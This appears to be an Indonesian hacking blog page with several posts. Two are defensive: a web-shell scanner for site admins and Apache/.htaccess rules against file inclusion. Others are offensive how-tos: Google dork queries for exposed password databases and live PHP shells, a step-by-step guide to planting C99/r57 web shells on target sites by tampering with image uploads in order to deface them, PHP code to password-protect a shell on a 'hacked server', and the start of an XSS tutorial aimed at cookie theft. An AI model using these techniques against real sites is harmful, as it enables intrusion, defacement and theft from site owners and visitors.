Scan shell backdoor pada website

<div class="separator" style="clear: both; text-align: center;"></div><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://www.pcfixessupport.com/wp-content/uploads/2011/07/Virus.Win32.Nimnul.a.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://www.pcfixessupport.com/wp-content/uploads/2011/07/Virus.Win32.Nimnul.a.jpg" width="320" /></a></div>Sekedar untuk share kembali,scan backdoor yang mungkin akan berguna bagi Admin web untuk scanning kemungkinan adanya malscript atau web shell yang disisipkan oleh heker ke dalam situs.<br /><br />Penggunaannya cukup mudah. upload ke hosting anda dan ceklis beberapa opsi yang diperlukan. misalnya ceklis kolom "other keyword" dan isi dengan nama keyword c99.php , execute, upload atau keyword lain yg dicurigai sebagai malscript. lalu klik "start scan". maka Backdoor scanner ini akan memeriksa file di host yang memuat keyword tersebut. Jika ditemukan, maka akan ditampilkan.<br /><br />Perlu ditambahkan juga bahwa tidak semua file yang ditampilkan merupakan backdoor, anda juga perlu langsung memeriksanya kembali isi script yang telah terdeteksi.<br /> Penggunaanya pun sangat simple<br />1.download dulu scannernya <a href="https://dl.dropboxusercontent.com/s/x9cl1umebmanzjv/backdoorscanner.rar?token_hash=AAEYfwYPyYQ7FHzQfjKHIJJ7AsM-j3oLXDVpvMqhL7miUg&dl=1"><blink>Backdoorscanner</blink></a> lalu upload di file manager hosting kalian<br />2.panggil directory dimana anda mengupload tadi semisial <span style="color: lime;">:/</span>:<span style="color: lime;"> http</span><span style="color: lime;">/situs anda/files/includes/backdoorscan.php</span><br />3.pilih mode scan backdoor lalu klik start scanner<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjktw-Ct69YF5Y3bAIY69zRPBVjXA82Tez8PIASh6YLW0W-HncYy24h2wIXMy_BLpAmhNGkQOE2A56iTygtiA7Pb8PKthQQgCVuEJzTkgQEb7e49y4NokGHGt1Xwv4b8XzWVm80-9hyphenhyphenyWA/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjktw-Ct69YF5Y3bAIY69zRPBVjXA82Tez8PIASh6YLW0W-HncYy24h2wIXMy_BLpAmhNGkQOE2A56iTygtiA7Pb8PKthQQgCVuEJzTkgQEb7e49y4NokGHGt1Xwv4b8XzWVm80-9hyphenhyphenyWA/s1600/Capture.PNG" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div>4.Lalu tunggu hingga scan selesai <br />alhasil ditemukan letak<a href="https://dl.dropboxusercontent.com/s/x9cl1umebmanzjv/backdoorscanner.rar?token_hash=AAEYfwYPyYQ7FHzQfjKHIJJ7AsM-j3oLXDVpvMqhL7miUg&dl=1"> shell backdoor</a> yang selama ini meresahkan admin<br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT8uf5vaKCxeCiGoa-01xUpKjwHoAOchTkilhtFYdd7izC31O0HUimcXtKcdkqUfyzBVVv4WwK5RFyGe7taVFyg0kYQ8t6dfz7nEIQYWaanV_X3rJq-fLMsQP_3qnb7c-oQMhLylwRJ_o/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT8uf5vaKCxeCiGoa-01xUpKjwHoAOchTkilhtFYdd7izC31O0HUimcXtKcdkqUfyzBVVv4WwK5RFyGe7taVFyg0kYQ8t6dfz7nEIQYWaanV_X3rJq-fLMsQP_3qnb7c-oQMhLylwRJ_o/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><br /><br />semoga berguna.</div>

Scan shell backdoor pada website

Sekedar untuk share kembali,scan backdoor yang mungkin akan berguna bagi Admin web untuk scanning kemungkinan adanya malscript atau web sh...

Read more »

Mencegah serangan LFI vuln di web kita

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNXWbV234d8XMMIvbW745KQ0MVdmjTjyy0SN8KLAUFXO7K80rYQYpdc-_Y1xnBpAcSoVM2gWWb_CcX6qcVDCArA64fF4L4-7msF-lsBYt33wvoKYCyFMzgJ5QzKu6Vdx02ZzvrRLtwGLEO/s1600/lfi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNXWbV234d8XMMIvbW745KQ0MVdmjTjyy0SN8KLAUFXO7K80rYQYpdc-_Y1xnBpAcSoVM2gWWb_CcX6qcVDCArA64fF4L4-7msF-lsBYt33wvoKYCyFMzgJ5QzKu6Vdx02ZzvrRLtwGLEO/s1600/lfi.jpg" width="320" /></a></div>di sini saya akan memberikan sedikit clue or beberapa tips untuk mencegah Local File Inclusion Vulnerability in our website<br /><br />langsung saja ini beberapa tips to handle local fie inclusion :<span style="color: red;"><span style="font-weight: bold;">via .htaccess file INGAT YAA . . </span></span><br /><br />====================================<br />Put following in .htaccess and<br />put it in the appropriate directory<br />====================================<br /># Sample '.htaccess' file for 'pub' subdirectory<br /><br /># Allow all access<br />Allow from all<br /><br /># Deny people from looking at the index and running SSI and CGI<br />Options None<br /><br /># If you have PHP4 or PHP5 installed make sure the directive<br /># below is enabled. If you do not have PHP installed you will<br /># need to comment out the directory below to avoid errors:<br />php_flag engine off<br /><br /># If you have PHP3 installed make sure the directive below is<br /># enabled:<br />#php3_engine off<br /><br /># This line will redefine the mime type for the most common<br /># types of scripts. It will also deliver HTML files as if they<br /># are text files:<br />AddType text/plain .html .htm .shtml .php .php3 .php5 .phtml .phtm .pl .py .cgi<br /><br /><br />===========================<br /><span style="color: red;"><span style="font-weight: bold;">-=[2]=- Via Directory directive</span></span><br />===========================<br /><br /><DirectoryMatch "/images|/upload|/Upload|/Images"><br /># Ignore .htaccess files<br />AllowOverride None<br /><br /># Serve scripts as plaintext<br />AddType text/plain .html .htm .shtml .php .php3 .php5 .phtml .phtm .pl .py .cgi<br /><br /># Don't run arbitrary PHP code.<br />php_admin_flag engine off<br /></DirectoryMatch><br /><br /><br />==========================<br /><span style="color: red;"><span style="font-weight: bold;">-=[3]=- Via Location directive</span></span><br />==========================<br /><br /><LocationMatch "/images|/upload"><br /># Ignore .htaccess files<br />AllowOverride None<br /><br /># Serve scripts as plaintext<br />AddType text/plain .html .htm .shtml .php .php3 .php5 .phtml .phtm .pl .py .cgi<br /><br /># Don't run arbitrary PHP code.<br />php_admin_flag engine off<br /></Location><br /><br />===========================<br /><br />Jika ada yg kurang Mohon di tambahkan , maklum no body`s perfect :)<br /><br /> <img alt="ketawa" border="0" src="http://devilzc0de.org/forum/images/smilies/ketawa.gif" style="vertical-align: middle;" title="ketawa" /><br />If any something wrong feel free to correction or give critic . :)  </div>

Mencegah serangan LFI vuln di web kita

di sini saya akan memberikan sedikit clue or beberapa tips untuk mencegah Local File Inclusion Vulnerability in our website langsung saja in...

Read more »

Memanfaatkan google sebagai mesin pencari untuk hacking

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwTq6_nl5o2aKF1iJXKiblEfaIok283jLkGhxwnyRiXMLrNgZynlbQ2BcM9fZHsKxzdlvU4_ccPduUNWt35A80ajusTU2IvzBpbpwrVm3mOI8A5VJnxYgpxbMYrEbdRqwYJ3k8eqpsTA/s1600/google-hacks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwTq6_nl5o2aKF1iJXKiblEfaIok283jLkGhxwnyRiXMLrNgZynlbQ2BcM9fZHsKxzdlvU4_ccPduUNWt35A80ajusTU2IvzBpbpwrVm3mOI8A5VJnxYgpxbMYrEbdRqwYJ3k8eqpsTA/s1600/google-hacks.jpg" width="266" /></a></div>mungkin pada tau yg beginian atou mungkin blm ada yg tau...<br />so to the point aj ya...!<br />berikut tutornya<br /><br />Banyak sekali website yang berguguran dengan memanfaatkan pencarian pada Google untuk menemukan targetnya. Seperti Worm Santy yang melakukan defacing secara massal dengan memanfaatkan Google. Dalam hitungan hari ribuan website tampilan utamanya berubah. Tulisan ini dibuat untuk memahami bagaimana melakukan pencarian yang baik dengan menggunakan Google.<br /><br /><span style="font-weight: bold;">01. Penggunaan Dasar</span><br />- Google tidak "case sensitive".<br />Keyword: linux = LINUX = LiNuX, Akan menghasilkan hal yang sama<br /><br />- AND: Secara Default Google menggunakan keyword and. Keyword: menjadi hacker<br />Hasilnya pencarian akan mengandung kata<span style="color: lime;"> "menjadi" dan "hacker"</span><br /><br />- OR: Digunakan untuk menemukan halaman yang setidaknya berisi salah satu dari keyword. Note: OR dituliskan dengan huruf besar semua. Keyword: hacker OR cracker<br />Hasilnya pencarian akan mengandung kata <span style="color: lime;">"hacker" atau "cracker" </span><br /><br />- +: Google akan mengabaikan pencarian dengan kata-kata umum seperti<br />"how" dan "where". Jika kata-kata umum ini begitu penting, anda bisa menambahkan "+" didepan keyword tersebut.<br />Keyword: hacker how ==> Kata "how" akan <span style="color: lime;">diabaikan</span><br />Keyword: hacker +how ==> Kata "how" akan <span style="color: lime;">diikutsertakan</span><br /><br />- -: Tanda minus "-" bisa digunakan utk mengecualikan kata tertentu dalam pencarian. Misal kita ingin mencari kata "linus tanpa linux", kita bisa menggunakan "linus -linux"<br /><span style="color: lime;"> </span><br />- *: Google tidak mendukung pencarian * sebagai pengganti huruf.<br />Misalkan kita ingin mencari dengan kata depan menja* Google tidak mencari kata "menjamu", "menjadi", "menjalar", dll. Google akan menghasilkan pencarian hanya yang mengandung kata "menja". Tetapi google mendukung penggunaan * dalam pencarian kalimat. Keyword: "menjadi * hacker". Hasilnya pencarian dapat menghasilkan<span style="color: lime;"> "menjadi seorang hacker", "menjadi white hacker", dll.</span><br /><br />- "": Dapat digunakan untuk mencari kata yg lengkap. Keyword: "menjadi hacker"<br />Hasilnya pencarian akan mengandung kata <span style="color: lime;">"menjadi hacker"</span><br /><span style="color: lime;"> </span><br />- ?: Dapat digunakan untuk mencari pada direktori Google<br />Keyword: ?intitle:index.of? mp3<br /><br /><span style="font-weight: bold;">02. Operator Spesial</span><br />- <span style="color: red;">intitle:</span> Untuk mencari kata-kata dari judul suatu halaman web. Keyword: <span style="color: red;">intitle:Admin Administrasi</span><br />Keyword tersebut akan mencari judul halaman "Admin" dengan deskripsi "Administrasi"<br /><br /><br />- <span style="color: red;">allintitle:</span> Untuk mencari kata-kata dari judul halaman web secara lengkap. Keyword:<span style="color: red;"> allintitle:Admin Administrasi</span> Keyword tersebut akan mencari judul halaman yang mengandung kata "Admin" dan "Administrasi"<br /><br />- <span style="color: red;">inurl:</span> Digunakan untuk mencari semua URL yang berisi kata-kata tertentu. Keyword: <span style="color: red;">inurl:Admin Administrasi</span><br />Keyword tersebut akan mencari URL yang mengandung kata "Admin"<br />dengan deskripsi "Administrasi"<br /><br />- <span style="color: red;">allinurl:</span> Digunakan untuk mencari semua URL yang berisi kata-kata tertentu. Keyword: <span style="color: red;">allinurl:Admin Administrasi</span><br />Keyword tersebut akan mencari URL yang mengandung kata "Admin" dan "Administrasi" <br /><br />- <span style="color: red;">site:</span> Untuk mencari dalam suatu situs tertentu saja<br />Keyword:<span style="color: red;"> site:echo.or.id</span><br />Semua pencarian hanya berdasarkan site "echo.or.id"<br /><br />- <span style="color: red;">cache:</span> Ketika Googlebot mengindeks suatu situs, google akan mengambil snapshot dari semua halaman yang telah terindeks. Operator ini membantu melihat halaman-halaman yang telah dicache. Keyword: <span style="color: red;">cache:echo.or.id</span><br />Misalkan site aslinya sudah tidak aktif, anda tetap dapat melihatnya pada snapshot/cache yang disimpan oleh Google.<br /><br />- <span style="color: red;">define:</span> Operator ini digunakan untuk mencari definisi dari frasa tertentu. Semua kata yang diketik setelah operator ini akan diperlakukan sebagai satu frasa.<br />Keyword: <span style="color: red;">define:hacker</span><br /><br /><br /><br />- <span style="color: red;">filetype:</span> Jika kita mencari jenis file tertentu yang berisi informasi yang anda inginkan kita bisa<br />menggunakan operator ini. Keyword:<span style="color: red;"> "hacker" filetype:pdf.</span> Sampai tulisan ini dibuat google support tipe file<br /># Adobe Portable Document Format (pdf)<br /># Adobe PostScript (ps)<br /># Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)<br /># Lotus WordPro (lwp)<br /># MacWrite (mw)<br /># Microsoft Excel (xls)<br /># Microsoft PowerPoint (ppt)<br /># Microsoft Word (doc)<br /># Microsoft Works (wks, wps, wdb)<br /># Microsoft Write (wri)<br /># Rich Text Format (rtf)<br /># Shockwave Flash (swf)<br /># Text (ans, txt)<br />Ref: <a href="http://www.google.com/help/faq_filetypes.html" rel="nofollow" target="_blank">http://www.google.com/help/faq_filetypes.html</a><br />  <br /> - <span style="color: red;"> link:</span> Untuk mencari tahu berapa banyak link ke suatu situs, kita bisa menggunakan operator link. Keyword: <span style="color: red;">link:www.google.com</span><br /><br />- <span style="color: red;">related</span>: Untuk mencari halaman yang isinya mirip dengan URL tertentu. Keyword: <span style="color: red;">related:www.google.com</span><br /><br /><span style="font-weight: bold;">03. </span><span style="font-weight: bold;">Tips & Tricks</span><br /><br />Dari dasar-dasar dan spesial operator tersebut anda bisa mencampurkan operator tersebut. Contoh:<br />- Keyword: site:echo.or.id, menghasilkan semua site echo.or.id. Kemudian anda bisa mencoba keyword:<br />site:echo.or.id hacker, akan menghasilkan semua site echo.or.id yang mengandung kata hacker.<br />Kita juga dapat melakukan pencarian secara spesifik melalui google. Untuk melakukannya anda dapat ke site berikut:<br />- <a href="http://www.google.com/bsd" rel="nofollow" target="_blank">http://www.google.com/bsd</a><br />- <a href="http://www.google.com/mac" rel="nofollow" target="_blank">http://www.google.com/mac</a><br />- <a href="http://www.google.com/linux" rel="nofollow" target="_blank">http://www.google.com/linux</a><br />- <a href="http://www.google.com/microsoft" rel="nofollow" target="_blank">http://www.google.com/microsoft</a><br />- <a href="http://www.google.com/univ/education" rel="nofollow" target="_blank">http://www.google.com/univ/education</a><br /><br />Berbagai trik keyword pada Google:<br />parent directory books -xxx -html -htm -php -shtml -opendivx -md5 -md5sums parent directory /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums parent directory DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums parent directory video -xxx -html -htm -php -shtml -opendivx -md5 -md5sums parent directory Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums parent directory MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums<br /><br />intitle:index of intitle:mp3 -html -htm name size intitle:index of intitle:video -html -htm name size<br />intitle:index of intitle:cgi-bin passwd -html -htm name size intitle:index of intitle:cgi-bin password -html -htm name size<br /><br />inurl:"admin.mdb" -html inurl:"password.mdb" -html<br />inurl:"data.mdb" -html<br />"phpMyAdmin" "running on" inurl:"main.php"<br />intitle:"PHP Shell" "Enable stderr" php<span style="color: deeppink;"></span><br /><br /><span style="color: deeppink;"> </span><span style="color: red;"> </span><br /><br /></div>

Memanfaatkan google sebagai mesin pencari untuk hacking

mungkin pada tau yg beginian atou mungkin blm ada yg tau... so to the point aj ya...! berikut tutornya Banyak sekali website yang berguguran...

Read more »

Tutorial upload shell backdoor lewat tamper data

<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8XZUcm5zV4R9sWHhGGprbqErORro6sDm4STe2b-GOg60Xe33q851ZOH6JOu46QQW11aVbcDQ4-RZKmPpqBVrKBMn1KWMOL5HmFOEiXC-nqSv8bMWCXxX_m17SFS7zBdsWX1n__GXgV6U/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8XZUcm5zV4R9sWHhGGprbqErORro6sDm4STe2b-GOg60Xe33q851ZOH6JOu46QQW11aVbcDQ4-RZKmPpqBVrKBMn1KWMOL5HmFOEiXC-nqSv8bMWCXxX_m17SFS7zBdsWX1n__GXgV6U/s1600/images.jpg" /></a></div><br />Mungkin banyak dari kita yang sudah tau apa itu webshell ? WebShell (PHP Shell), itu sebuah aplikasi berbasis php, yg dipake user untuk berinteraksi dengan server sistem. Kalo web shell, shell yg ditulis dalam bahasa pemrograman web (seperti R57, C99, dsb) untuk memudahkan eksplorasi terhadap suatu web yg memliki bug.<br /><br /><a href="https://www.blogger.com/blogger.g?blogID=6021071170116174758" name="more"></a><br /><span style="color: red;">Tamper Data</span> adalah salah satu <i>add-ons</i> pada Mozilla yang berguna dalam web-hacking. <i><b></b></i> Cara kerja Tamper Data adalah dengan memanipulasi sistem pengiriman data pada web (<i>method POST</i>). Method POST ini adalah sebuah fungsi <i>Javascript </i>yang aktif ketika kita meng-klik tombol submit atau sejenisnya. Pada saat tombol tersebut di klik maka sistem akan mengirimkan sebuah <i>value/nilai</i> yang akan menentukan hasil dari klik yang kita lakukan.<br />Oleh karena itu Method POST ini terkadang menjadi salah satu kelemah sebuah sistem website, karena kita bisa mengubah data yang akan dikirim. Tamper Data memungkinkan kita mengubah <i>value/nilai</i> dari method POST tersebut.<br /><br /><a href="https://www.blogger.com/blogger.g?blogID=6021071170116174758" name="more"></a><br /><br /><br /><br />Untuk mengupload PHP Shell ini kita biasanya mencari fasilitas upload file.php , nah yang jadi pertanyaan kalau fasilitasnya hanya untuk upload file.jpg gimana ? Nah itu yang akan saya sharing tekhniknya. Tahap-tahapnya seperti berikut ini. Tapi dengan catatan anda telah menguasai website target dengan tekhnik : sql injection , LFI / RFI , atau exploit<br />1. Siapakan dulu file shell.php seperti : C99Shell, r57, atau b374k bisa di download di <a href="http://www.mediafire.com/download.php?vjw6mkz6fp12v9v">Shell backdoor</a><br />2. Rename dengan nama : shell.php.jpg<br />3. Install add ons <a href="https://addons.mozilla.org/en-us/firefox/addon/tamper-data/">Tamper Data</a> dulu di browser mozilla kita <img alt=":D" class="wp-smiley" src="http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" /><br />4. Restart dan kita mulai upload<br />5. cari login admin sebuah website disini saya anggap kalian sudah punya login sebagai admin Lnacjut<br />6. Cari fasilitas uploads gambar pada website target, kemudian tamper data kita jalankan<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuCVmve3gQN7QNa1xHVEefRRW78OSde4fKmt6qHEoUxorhTmTOOG6AmMkLM4pVdtEXaJSABpUReeXWJnhWMSy6GMQPJVydpMdJ1Xw8W6gaxlUX4By0kYXFoqG9jbR3OM8r7oeGeq9LbLw/s1600/tamper.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuCVmve3gQN7QNa1xHVEefRRW78OSde4fKmt6qHEoUxorhTmTOOG6AmMkLM4pVdtEXaJSABpUReeXWJnhWMSy6GMQPJVydpMdJ1Xw8W6gaxlUX4By0kYXFoqG9jbR3OM8r7oeGeq9LbLw/s1600/tamper.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div>7. Trus Uploads shell.php.jpg kita dan tamper <img alt=":D" class="wp-smiley" src="http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT1sWKaDdd_RuXVCcy0U3OtMkCOByPVTQaYacv7HT-6L802K4KCI50oxpoRHvWcvUi5XQ5rR_KXWIxhI2X7-EOX2YFYe-lxUlRTetanT6s4wrxCtxHTiFz3Vip22hd5YwY3bvpWF5rjj4/s1600/tamper+2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT1sWKaDdd_RuXVCcy0U3OtMkCOByPVTQaYacv7HT-6L802K4KCI50oxpoRHvWcvUi5XQ5rR_KXWIxhI2X7-EOX2YFYe-lxUlRTetanT6s4wrxCtxHTiFz3Vip22hd5YwY3bvpWF5rjj4/s1600/tamper+2.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div>8. Setelah langsung jalankan tamper datanya, tunggu pop out dari tamper data muncul , cari file shell.php.jpg dan rename path<span style="color: red;"> shell.php.jpg</span> menjadi <span style="color: red;">shell.php</span> ! ingat yah <img alt=":D" class="wp-smiley" src="http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" /><br />Sekarang anda tinggal cari dimana file shell anda berada .<br />Dan buka path shell.php anda di url browser dan siap meluncur ke TKP. Tapi inget,dan berhasil deh webshellnya sudah tertanam sekarang tinggal terserah kalian mau dideface atau cuman liat-liat<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlvUhFgOLC75cIomcZM4u9m8xjr50GjZmK8CSkMCN1InoAw6fFXl07rKZZUPNihkzlDglAIUj89Sy0m6z6myR1qKkfD6w_ukPcfcohkiLXRgTMpaxu8BxlHl1TMLhJRgnDvkzsOFbV9u8/s1600/c99shell-web-backdoor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlvUhFgOLC75cIomcZM4u9m8xjr50GjZmK8CSkMCN1InoAw6fFXl07rKZZUPNihkzlDglAIUj89Sy0m6z6myR1qKkfD6w_ukPcfcohkiLXRgTMpaxu8BxlHl1TMLhJRgnDvkzsOFbV9u8/s1600/c99shell-web-backdoor.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br /> gak semua web target bisa kita lakukan dengan tekhnik ini .Kalau gak berhasil , silahkan hubungi adminnya aja langsung

Tutorial upload shell backdoor lewat tamper data

Mungkin banyak dari kita yang sudah tau apa itu webshell ? WebShell (PHP Shell), itu sebuah aplikasi berbasis php, yg dipake user untuk be...

Read more »

Cara memberi password pada shell backdoor

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMH-vw6a5nHnACmxVmivK3-FJaYox73m0z7-5hJSveEf4l5SjRzrp9QdK4xk6qPsmRRB1XayZK8MpXoNwUsKkp0ies3kWAy1T18trzJnxnHC3CWN07nJ6ifxKScWj_MigRrhd1C9Y-fto/s1600/image_2315846.original.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMH-vw6a5nHnACmxVmivK3-FJaYox73m0z7-5hJSveEf4l5SjRzrp9QdK4xk6qPsmRRB1XayZK8MpXoNwUsKkp0ies3kWAy1T18trzJnxnHC3CWN07nJ6ifxKScWj_MigRrhd1C9Y-fto/s1600/image_2315846.original.jpg" width="320" /></a></div><br /><br /><br />misalnya saya akan memberi password pada shell backdoor c99.php<br />yang mempunyai script<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMqvOo5u84TG5FXUycivVRlZUpZbAA0VE7Wjw3C2OLwRJ4N3uKWucWBjqwGmUfeEzYVymLssRTijqQPrO9GLmVMAzyubGCoUJkgZTGFVBYTgCbvPlf9JX8YcnrczlZhvojPpQujCyUGmw/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMqvOo5u84TG5FXUycivVRlZUpZbAA0VE7Wjw3C2OLwRJ4N3uKWucWBjqwGmUfeEzYVymLssRTijqQPrO9GLmVMAzyubGCoUJkgZTGFVBYTgCbvPlf9JX8YcnrczlZhvojPpQujCyUGmw/s1600/Capture.PNG" /></a></div><br /><br />lalu Masukan script berikut tepat di bawah <span style="color: red; font-size: large;"><?php</span><br /><br /><blockquote class="tr_bq">// --- pop-up<br /><br />$user = "isi-username";<br /><br />$pass = "isi-password";<br /><br /> if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))<br /><br /> { <br /><br />  header("WWW-Authenticate: Basic realm=\"dvildance was here\""); <br /><br />  header("HTTP/1.0 401 Unauthorized"); <br /><br />  exit(); <br /><br /> }<br /><br />// --- php shell  </blockquote>jadinya<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimNzDBPXuw2abbq6tRc8tKPqF_p4_1Sklo95No85oJIgmaB4rjnzvQMC9hyphenhyphenKiO6IbuVV3Xfei8fPNxa2x3-hgs6P4231mAvAlq-q-N1UuoPG5bRE-Cc59tdB-5HZ7SMy8M382xAZW_niI/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimNzDBPXuw2abbq6tRc8tKPqF_p4_1Sklo95No85oJIgmaB4rjnzvQMC9hyphenhyphenKiO6IbuVV3Xfei8fPNxa2x3-hgs6P4231mAvAlq-q-N1UuoPG5bRE-Cc59tdB-5HZ7SMy8M382xAZW_niI/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />lalu upload di server hasil hack dan panggil shell anda<br /> maka muncul popup password<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv81HLuRsfVe2wmOSUshszCzyEj7grp9tsLuSw3vufWNjGdXXyRbb9wDcc1C6TGeuFXxWcO1m6Ga53SmUt9lAqqbBtXwI3aXZV9aEmdskNdqfnJy9mU6j-SYyFgn9oYL2FV4RHwTgk0yw/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv81HLuRsfVe2wmOSUshszCzyEj7grp9tsLuSw3vufWNjGdXXyRbb9wDcc1C6TGeuFXxWcO1m6Ga53SmUt9lAqqbBtXwI3aXZV9aEmdskNdqfnJy9mU6j-SYyFgn9oYL2FV4RHwTgk0yw/s1600/Capture.PNG" /></a></div><br /><br />SUKSES . . . <br /><br /><br /><span class="postbody">Note :<br /><br />Tidak semu host mendukung adanya script pop-up di atas, jadi harap di coba sebelum memberi password pada php shell.<u>Tapi kebanyakan mendukung pop-up</u></span><br /><div class="separator" style="clear: both; text-align: center;"></div><span class="postbody"><u> </u></span><u> </u>

Cara memberi password pada shell backdoor

misalnya saya akan memberi password pada shell backdoor c99.php yang mempunyai script lalu Masukan script berikut tepat di bawah <?php //...

Read more »

Tutorial dasar xss

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEX0sgLP-pyRTmtsv_N1tLMY2NksR1ZJ_opAkwhhz723WMaE_Tqv-_HGLRie2JgslrHETAaNKlVATfINM5l3J-o-EhsGMPbxp3JFvdWIyO4nxZTN26WismH4hyIk88rv1uYfKXy38xiV8/s1600/xss.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEX0sgLP-pyRTmtsv_N1tLMY2NksR1ZJ_opAkwhhz723WMaE_Tqv-_HGLRie2JgslrHETAaNKlVATfINM5l3J-o-EhsGMPbxp3JFvdWIyO4nxZTN26WismH4hyIk88rv1uYfKXy38xiV8/s1600/xss.jpeg" /></a></div>Cross Site Scripting atau biasa dikenal dengan XSS merupakan salah satu vulnerability pada website<br />yang kerap kali dapat ditemukan pada aplikasi website dan dapat digunakan oleh pihak-pihak yang<br />tidak bertanggungjawab untuk mengeksekusi code HTML atau javascript pada komputer korban.<br />Umumnya komputer yang menjadi korban adalah mereka yang mengakses website yang vulnerable.<br /><br /><u><span style="color: red;">Tujuan </span></u><br />Tujuan dari peretas mengeksploitasi celah keamanan menggunakan teknik XSS adalah untuk <span style="color: red;">mecuri<br />cookie </span>yang ada di komputer client (cookie stealing), Melakukan redirection URL dengan maksud<br />“tertentu” (URL Redirection) melalui teknik kejahatan yang dinamakan <span style="color: red;">phising</span> dan lainnya. Tujuan<br />lain dari tulisan ini dibuat adalah untuk menambah pemahaman kita tentang serangan dengan<br />menggunakan XSS dan perbedaan antara teknik yang satu dan lainnya dalam mengeksploitasi<br />vulnerability XSS.<br /><br /><u><span style="color: red;">Jenis-jenis Cross Site Scripting (XSS)</span></u><br />Secara umum, teknik XSS ini dibagi dalam tiga kelompok yaitu DOM Based XSS, Non-persistent XSS<br 